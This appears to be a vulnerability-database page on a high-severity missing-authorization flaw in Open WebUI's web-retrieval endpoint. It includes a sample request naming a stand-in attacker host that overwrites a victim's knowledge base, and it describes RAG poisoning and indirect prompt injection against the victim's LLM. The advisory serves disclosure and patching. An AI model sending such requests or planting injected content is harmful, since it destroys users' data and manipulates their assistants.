Open WebUI has Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection OverwriteGHSA-7r82-qhg4-6wvj
HIGHGHSA-7r82-qhg4-6wvj is a high-severity (CVSS 8.1) CWE-862 vulnerability in open-webui. A fix is available for open-webui — see the affected versions and patch details below.
Exploitation Status
No confirmed exploitation observed yet
- A successful exploit gives an attacker total control of the affected component, not partial access.
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7r82-qhg4-6wvj.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
open-webuiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Knowledge Base Destruction and RAG Poisoning via Unauthorized Collection Overwrite
Affected Component
Retrieval web/YouTube processing endpoints:
backend/open_webui/routers/retrieval.py(lines 1810-1837,process_web)backend/open_webui/routers/retrieval.py(the parallelprocess_youtubeendpoint)backend/open_webui/routers/retrieval.py(line 1445,save_docs_to_vector_dbcall chain)
Affected Versions
Current main branch (commit 6fdd19bf1) and likely all versions with RAG/knowledge base functionality.
Description
The POST /api/v1/retrieval/process/web endpoint accepts a user-supplied collection_name and an overwrite query parameter (default: True). It performs no authorization check on whether the calling user owns or has write access to the target collection. When overwrite=True, save_docs_to_vector_db calls VECTOR_DB_CLIENT.delete_collection() on the target collection before writing new content.
Combined with the knowledge base enumeration vulnerability (separate report), an attacker can trivially discover any user's knowledge base UUID and then destroy or poison it.
# retrieval.py:1810-1837 — no collection authorization check
@router.post('/process/web')
async def process_web(
request: Request,
form_data: ProcessUrlForm,
user=Depends(get_verified_user),
...
):
# ... fetch and process the URL ...
save_docs_to_vector_db(
request=request,
docs=docs,
collection_name=form_data.collection_name, # attacker-controlled, unchecked
overwrite=overwrite, # defaults to True
...
)
CVSS 3.1 Breakdown
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network (N) | Exploited remotely via API call |
| Attack Complexity | Low (L) | Single API call with a known KB UUID |
| Privileges Required | Low (L) | Requires any authenticated user account |
| User Interaction | None (N) | No victim interaction required |
| Scope | Unchanged (U) | Impact within the knowledge base authorization boundary |
| Confidentiality | None (N) | No data disclosure from this vulnerability directly |
| Integrity | High (H) | Complete replacement of victim's KB content with attacker-controlled data |
| Availability | High (H) | Victim's original KB embeddings are deleted; KB effectively destroyed |
Attack Scenario
- Attacker discovers victim's KB UUID via the
knowledge-basesmeta-collection (separate finding) or other enumeration. - Attacker sends:
POST /api/v1/retrieval/process/web?overwrite=true { "url": "https://attacker.com/poison", "collection_name": "<victim_kb_uuid>" } - The endpoint fetches content from the attacker's URL.
save_docs_to_vector_dbdeletes the entire vector collection belonging to the victim's knowledge base.- The attacker's fetched content is embedded and written as the new collection content.
- Victim's RAG queries against their KB now return attacker-controlled content instead of their original documents.
Impact
- Data destruction: Victim's original KB embeddings are permanently deleted from the vector store
- RAG poisoning: Attacker-controlled content replaces legitimate knowledge, causing the LLM to return misleading or malicious answers to the victim
- Indirect prompt injection: Poisoned content can contain crafted prompts that manipulate the victim's LLM behavior when queried
- Persistence: The poisoned content persists until the KB is rebuilt from source files
Preconditions
- Attacker must have a valid user account
- Attacker must know the target collection name (KB UUID) — easily obtained via the
knowledge-basesenumeration finding
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | open-webui | all versions | 0.9.0pip install --upgrade 'open-webui==0.9.0' |
Affected Products
open webuiopenwebuiDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for open-webui, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update open-webui to 0.9.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7r82-qhg4-6wvj is resolved across your whole dependency graph.
Workarounds
Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.
Frequently Asked Questions
Is GHSA-7r82-qhg4-6wvj in your dependencies?
Find it across PyPI, including transitive dependencies.